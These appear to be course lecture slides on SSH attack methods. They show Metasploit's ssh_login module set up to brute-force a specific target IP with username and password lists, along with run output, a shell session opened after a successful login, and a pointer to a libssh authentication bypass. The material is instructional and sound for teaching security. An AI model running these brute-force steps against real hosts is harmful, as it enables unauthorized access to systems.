

CS 455 – Computer Security Fundamentals

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System and Networks Security

- **SSH Vulnerabilities**

- **Yes! We Brute-Force! (But we focused on bad username / password combinations)**

- ~~nmap~~

- ~~hydra~~

- ~~hydra-wizard~~

- metasploit

- libssh specific version attacks

SSH Vulnerabilities

- Metasploit is a powerful but little bit complicated tool
- It has so many built-in modules.
- All you need to do is to pick up the “proper module”
 - Do the proper settings
 - Giving the target info.
 - IP address
 - Port
 - Giving the dictionary info, if you want to brute-force
 - User name, password
 - Attack!

SSH Vulnerabilities

- The way to initialize the metasploit console is very easy. We only need to type “msfconsole”
- When we see a “msf6>” that means, we entered its shell
- You can type “help” (and hit the [Enter]) to show the help menu (lots of info. here!), or type the “exit” to quit the shell

```
File Actions Edit View Help

(kali@kali)-[~]
$ msfconsole

msf5 (kali@kali)-[~]
> ipconfig

inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::9640:b531:5915:f943 prefixlen 64 scopeid 0x20 link
ether 08:00:27:01:9d:c7 tx,,,elen 1000 (Ethernet)
RX packets 1 bytes 590 .\$$$$$L...=aaccaacc%$s$b. d8, d8P
RX errors 0 d8P ped 0 #####$b. `BP d888888p
TX packet d888888P 35 '7$$$$\`""'^^'.7$$$|D*"'` 788'
d8bd8b.d8p d8888b 788' d8888b8
88P`?P`?P d8b_,dP 88P d8P' 788 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 78 88b 88b 88b 88b .os$$$$$*` 788,.d88b, d88 d8P' 788 88P `78b
d88P d88b 8b`78888P'`78b`788P'.a$$$$$Q*" `788' 788 788 88b d88 d88
inet6:: prefixlen.a$$$$$$$scopeid 0x10 88b d8P 88b`78888P'
loop {sequence,s$$$$$$$local loopback 888888P' 88n -,,,ass;;
RX packets .a$$$$$$$P' (340.0 B) d88P' ..,ass%$$$$$$$$$$$$$$
RX errors.a$###$$$P' 0 overrun-,-aqsc#$$$$$$$$$$$$$$$$$$$$$$$$$
TX pack,a$###$$$P' .,-ass#$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS$
TX .a$$$$$$$$SSSS$$$$$$$$$$$$$$$$$$$$$$$$SS##=--"''^^/$$$$$$'
,8$$$$$'
ll56$$$$$'
.;;lll6886'
...;;lllll6'
.....;;lllll;;....
.....;;lllll;;....

= [ metasploit v6.2.36-dev ]
+ -- ==[ 2277 exploits - 1194 auxiliary - 408 post ]
+ -- ==[ 951 payloads - 45 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Open an interactive Ruby terminal with
irb
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

SSH Vulnerabilities

- Since we re interested with SSH, let's search the SSH related modules
 - search ssh
 - It will give you tons of info.

20	exploit/windows/ssh/freesshd_key_exchange	2006-05-12	average	No	FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow
21	exploit/windows/ssh/freesshd_authbypass	2010-08-11	excellent	Yes	FreeSSHd Authentication Bypass
22	auxiliary/scanner/http/gitlab_user_enum	2014-11-21	normal	No	GitLab User Enumeration
23	exploit/multi/http/gitlab_shell_exec	2013-11-04	excellent	Yes	Gitlab-shell Code Execution
24	exploit/linux/ssh/ibm_drm_a3user	2020-04-21	excellent	No	IBM Data Risk Manager a3user Default Password
25	post/windows/manage/install_ssh		normal	No	Install OpenSSH for Windows
26	payload/generic/ssh/interact		normal	No	Interact with Established SSH Connection
27	post/multi/gather/jenkins_gather		normal	No	Jenkins Credential Collector
28	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	No	Juniper SSH Backdoor Scanner
29	auxiliary/scanner/ssh/detect_kippo		normal	No	Kippo SSH Honeypot Detector
30	post/linux/gather/enum_network		normal	No	Linux Gather Network Information
31	exploit/linux/local/ptrace_traceme_pkexec_helper	2019-07-04	excellent	Yes	Linux Polkit pkexec helper PTRACE_TRACEME local root exploit
32	exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey	2014-03-17	excellent	No	Loadbalancer.org Enterprise VA SSH Private Key Exposure
33	exploit/multi/http/git_submodule_command_exec	2017-08-10	excellent	No	Malicious Git HTTP Server For CVE-2017-1000117
34	exploit/linux/ssh/mercurial_ssh_exec	2017-04-18	excellent	No	Mercurial Custom hg-ssh Wrapper Remote Code Exec
35	exploit/linux/ssh/microfocus_obr_shrboadmin	2020-09-21	excellent	No	Micro Focus Operations Bridge Reporter shrboadmin default password
36	post/multi/gather/ssh_creds		normal	No	Multi Gather OpenSSH PKI Credentials Collection
37	exploit/solaris/ssh/pam_username_bof	2020-10-20	normal	Yes	Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow
38	exploit/windows/ssh/putty_msg_debug	2002-12-16	normal	No	PuTTY Buffer Overflow
39	post/windows/gather/enum_putty_saved_sessions		normal	No	PuTTY Saved Sessions Enumeration Module
40	auxiliary/gather/qnap_lfi	2019-11-25	normal	Yes	QNAP QTS and Photo Station Local File Inclusion
41	exploit/linux/ssh/quantum_dxi_known_privkey	2014-03-17	excellent	No	Quantum DXi V1000 SSH Private Key Exposure
42	exploit/linux/ssh/quantum_vmpro_backdoor	2014-03-17	excellent	No	Quantum vmPRO Backdoor Command
43	auxiliary/fuzzers/ssh/ssh_version_15		normal	No	SSH 1.5 Version Fuzzer
44	auxiliary/fuzzers/ssh/ssh_version_2		normal	No	SSH 2.0 Version Fuzzer
45	auxiliary/fuzzers/ssh/ssh_kexinit_corrupt		normal	No	SSH Key Exchange Init Corruption
46	post/linux/manage/sshkey_persistence		excellent	No	SSH Key Persistence
47	post/windows/manage/sshkey_persistence		good	No	SSH Key Persistence
48	auxiliary/scanner/ssh/ssh_login		normal	No	SSH Login Check Scanner
49	auxiliary/scanner/ssh/ssh_identify_pubkeys		normal	No	SSH Public Key Acceptance Scanner
50	auxiliary/scanner/ssh/ssh_login_pubkey		normal	No	SSH Public Key Login Scanner
51	exploit/multi/ssh/sshexec	1999-01-01	manual	No	SSH User Code Execution
52	auxiliary/scanner/ssh/ssh_enumusers		normal	No	SSH Username Enumeration
53	auxiliary/fuzzers/ssh/ssh_version_corrupt		normal	No	SSH Version Corruption
54	auxiliary/scanner/ssh/ssh_version		normal	No	SSH Version Scanner
55	post/multi/gather/saltstack_salt		normal	No	SaltStack Salt Information Gatherer
56	exploit/unix/http/schneider_electric_net55xx_encoder	2019-01-25	excellent	Yes	Schneider Electric Pelco Endura NET55XX Encoder
57	exploit/windows/ssh/securecrt_ssh1	2002-07-23	average	No	SecureCRT SSH1 Buffer Overflow
58	exploit/linux/ssh/solarwinds_lem_exec	2017-03-17	excellent	No	SolarWinds LEM Default SSH Password Remote Code Execution
59	exploit/linux/http/sourcegraph_gitserver_sshcmd	2022-02-18	excellent	Yes	Sourcegraph gitserver sshCommand RCE
60	exploit/linux/ssh/symantec_smg_ssh	2012-08-27	excellent	No	Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability
61	exploit/linux/http/symantec_messaging_gateway_exec	2017-04-26	excellent	No	Symantec Messaging Gateway Remote Code Execution
62	exploit/windows/ssh/sysax_ssh_username	2012-02-27	normal	Yes	Sysax 5.53 SSH Username Buffer Overflow
63	auxiliary/dos/windows/ssh/sysax_sshd_kexchange	2013-03-17	normal	No	Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service
64	exploit/unix/ssh/tectia_passwd_changereq	2012-12-01	excellent	Yes	Tectia SSH USERAUTH Change Request Password Reset Vulnerability
65	auxiliary/scanner/ssh/ssh_enum_git_keys		normal	No	Test SSH Github Access
66	exploit/linux/http/ubiquiti_airos_file_upload	2016-02-13	excellent	No	Ubiquiti airOS Arbitrary File Upload
67	payload/cmd/unix/reverse_ssh		normal	No	Unix Command Shell, Reverse TCP SSH
68	exploit/linux/ssh/vmware_vdp_known_privkey	2016-12-20	excellent	No	VMware VDP Known SSH Key
69	exploit/multi/http/vmware_vcenter_uploadova_rce	2021-02-23	manual	Yes	VMware vCenter Server Unauthenticated OVA File Upload RCE
70	exploit/linux/ssh/vyos_restricted_shell_privesc	2018-11-05	great	Yes	VyOS restricted-shell Escape and Privilege Escalation
71	post/windows/gather/credentials/mremote		normal	No	Windows Gather mRemote Saved Password Extraction
72	exploit/windows/local/unquoted_service_path	2001-10-25	excellent	Yes	Windows Unquoted Service Path Privilege Escalation
73	auxiliary/scanner/ssh/libssh_auth_bypass	2018-10-16	normal	No	libssh Authentication Bypass Scanner
74	exploit/linux/http/php_imap_open_rce	2018-10-23	good	Yes	php imap_open Remote Code Execution

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- See that? We can just type use type “use 48”. This is our interest

57	exploit/windows/ssh/securecrt_ssh1	2002-07-23	average	No	SecureCRT SSH1 Buffer Overflow
58	exploit/linux/ssh/solarwinds_lem_exec	2017-03-17	excellent	No	SolarWinds LEM Default SSH Password Remote Code Execution
59	exploit/linux/http/sourcegraph_gitserver_sshcmd	2022-02-18	excellent	Yes	Sourcegraph gitserver sshCommand RCE
60	exploit/linux/ssh/symantec_smg_ssh	2012-08-27	excellent	No	Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability
61	exploit/linux/http/symantec_messaging_gateway_exec	2017-04-26	excellent	No	Symantec Messaging Gateway Remote Code Execution
62	exploit/windows/ssh/sysax_ssh_username	2012-02-27	normal	Yes	Sysax 5.53 SSH Username Buffer Overflow
63	auxiliary/dos/windows/ssh/sysax_sshd_kexchange	2013-03-17	normal	No	Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service
64	exploit/unix/ssh/tectia_passwd_changereq	2012-12-01	excellent	Yes	Tectia SSH USERAUTH Change Request Password Reset Vulnerability
65	auxiliary/scanner/ssh/ssh_enum_git_keys		normal	No	Test SSH Github Access
66	exploit/linux/http/ubiquiti_airos_file_upload	2016-02-13	excellent	No	Ubiquiti aiROS Arbitrary File Upload
67	payload/cmd/unix/reverse_ssh		normal	No	Unix Command Shell, Reverse TCP SSH
68	exploit/linux/ssh/vmware_vdp_known_privkey	2016-12-20	excellent	No	VMware VDP Known SSH Key
69	exploit/multi/http/vmware_vcenter_uploadova_rce	2021-02-23	manual	Yes	VMware vCenter Server Unauthenticated OVA File Upload RCE
70	exploit/linux/ssh/vyos_restricted_shell_privesc	2018-11-05	great	Yes	VyOS restricted-shell Escape and Privilege Escalation
71	post/windows/gather/credentials/mremote		normal	No	Windows Gather mRemote Saved Password Extraction
72	exploit/windows/local/unquoted_service_path	2001-10-25	excellent	Yes	Windows Unquoted Service Path Privilege Escalation
73	auxiliary/scanner/ssh/libssh_auth_bypass	2018-10-16	normal	No	libssh Authentication Bypass Scanner
74	exploit/linux/http/php_imap_open_rce	2018-10-23	good	Yes	php imap_open Remote Code Execution

Interact with a module by name or index. For example `info 74`, `use 74` or `use exploit/linux/http/php_imap_open_rce`

msf6 > █

- After a hit of [Enter],

```
msf6 > use 48
msf6 auxiliary(scanner/ssh/ssh_login) > █
```


SSH Vulnerabilities

- I can type “show options”

```
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/ssh/ssh_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	22	yes	The target port
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	false	yes	Whether to print output for all attempts

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/ssh/ssh_login) > 
```


SSH Vulnerabilities

- These are the options we can do in the setup before initiating an attack.
- Options are “Non-case sensitive”. i.e. There is no differences between RHOSTS and rhosts
- Most of Name of “options” are “**not required**” as you can see in the previous page, but some are required.
 - Port 22 is by default. We don’t need to do further changes
 - BRUTEFORCE_SPEED is already set to 5.
 - **set rhosts 150.243.160.100**
 - If I type the “**show options**” again?

SSH Vulnerabilities

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 150.243.160.100
rhosts => 150.243.160.100
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):
```

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DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS	150.243.160.100	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	22	yes	The target port
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	false	yes	Whether to print output for all attempts

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```
msf6 auxiliary(scanner/ssh/ssh_login) > █
```

The rest of the commands will be in the next page

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- set stop_on_success true
 - set user_file CS455/users.txt
 - set pass_file CS455/passwords.txt
 - set threads 8 ← try to make it little bit faster.
 - **show options** ← before we type the “run”, check the overall settings for this attack
- In the next page, this is my setting before I type the “run” and hit the [Enter]

SSH Vulnerabilities

```
msf6 auxiliary(scanner/ssh/ssh_login) > show options
```

```
Module options (auxiliary/scanner/ssh/ssh_login):
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DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE	CS455/passwords.txt	no	File containing passwords, one per line
RHOSTS	150.243.160.100	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	22	yes	The target port
STOP_ON_SUCCESS	true	yes	Stop guessing when a credential works for a host
THREADS	8	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE	CS455/users.txt	no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

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```
msf6 auxiliary(scanner/ssh/ssh_login) > 
```

SSH Vulnerabilities

- Non of our attacks are successful. It's OK
- But I'm just telling you how to fish, instead of giving you the fish
- If there are anything successful tries, you will see something very similar to this.



```
[+] 192.168.254.13:22 - Success: 'toor:root' ''
[*] Command shell session 1 opened (192.168.254.19:46739 -> 192.168.254.13:22) at 2020-05-04 20:28:19 -0700
```

- If there is a successful attack,
a command shell session will be opened automatically. Now what? Use
 - (username, password) = (toor, root) to login the SSH!

```
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 150.243.160.100:22 - Starting bruteforce
[-] 150.243.160.100:22 - Failed: 'wow:hello'
[!] No active DB -- Credential data will not be saved!
[-] 150.243.160.100:22 - Failed: 'wow:password'
[-] 150.243.160.100:22 - Failed: 'wow:password123'
[-] 150.243.160.100:22 - Failed: 'wow:root'
[-] 150.243.160.100:22 - Failed: 'wow:toor'
[-] 150.243.160.100:22 - Failed: 'root:hello'
[-] 150.243.160.100:22 - Failed: 'root:password'
[-] 150.243.160.100:22 - Failed: 'root:password123'
[-] 150.243.160.100:22 - Failed: 'root:root'
[-] 150.243.160.100:22 - Failed: 'root:toor'
[-] 150.243.160.100:22 - Failed: 'toor:hello'
[-] 150.243.160.100:22 - Failed: 'toor:password'
[-] 150.243.160.100:22 - Failed: 'toor:password123'
[-] 150.243.160.100:22 - Failed: 'toor:root'
[-] 150.243.160.100:22 - Failed: 'toor:toor'
[-] 150.243.160.100:22 - Failed: 'sudo:hello'
[-] 150.243.160.100:22 - Failed: 'sudo:password'
[-] 150.243.160.100:22 - Failed: 'sudo:password123'
[-] 150.243.160.100:22 - Failed: 'sudo:root'
[-] 150.243.160.100:22 - Failed: 'sudo:toor'
[-] 150.243.160.100:22 - Failed: 'who:hello'
[-] 150.243.160.100:22 - Failed: 'who:password'
[-] 150.243.160.100:22 - Failed: 'who:password123'
[-] 150.243.160.100:22 - Failed: 'who:root'
[-] 150.243.160.100:22 - Failed: 'who:toor'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > 
```

SSH Vulnerabilities

- For the following belongs to the scope of “after a successful” attack, I just use the screenshot from the internet
- If we type the “show sessions”, you will see the detail info. about the session

```
[+] 192.168.254.13:22 - Success: 'toor:root' ''
[*] Command shell session 1 opened (192.168.254.19:46739 → 192.168.254.13:22) at 2020-05-04 20:28:19 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) > show sessions

Active sessions
=====
```

Id	Name	Type	Information	Connection
--	----	----	-----	-----
1		shell	unknown SSH toor:root (192.168.254.13:22)	192.168.254.19:46739 → 192.168.254.13:22 (192.168.254.13)

SSH Vulnerabilities

- **libssh specific version attacks**

- Still remember in the Lecture 1 part3?
- When we use nmap to scan a target server, mostly, we will get target hosts uses OpenSSH with some versions
- It is just the software package version
- They already **hide** the **version** of the **libssh library**
- We cannot scan them by using nmap anymore.
- The following is an attack to a target who uses specific version of libssh library
 - The hacker can exploit the vulnerability of a SSH server who uses specific version of libssh
 - **The hacker can bypass the password checking!**

SSH Vulnerabilities

- Some of the older machine still uses “**very specific version of libssh**”
 - Please check this video title in the Youtube **(9m44s)**
 - “**29 Exploiting A Vulnerable SSH Server**”
<https://www.youtube.com/watch?v=tVzz53rA6o4>
 - If you cannot find it, search the title.
 - libssh is vulnerable to authentication pass around the version of v0.6.x~v0.8.x
 - Yes! We still use metasploit as our tool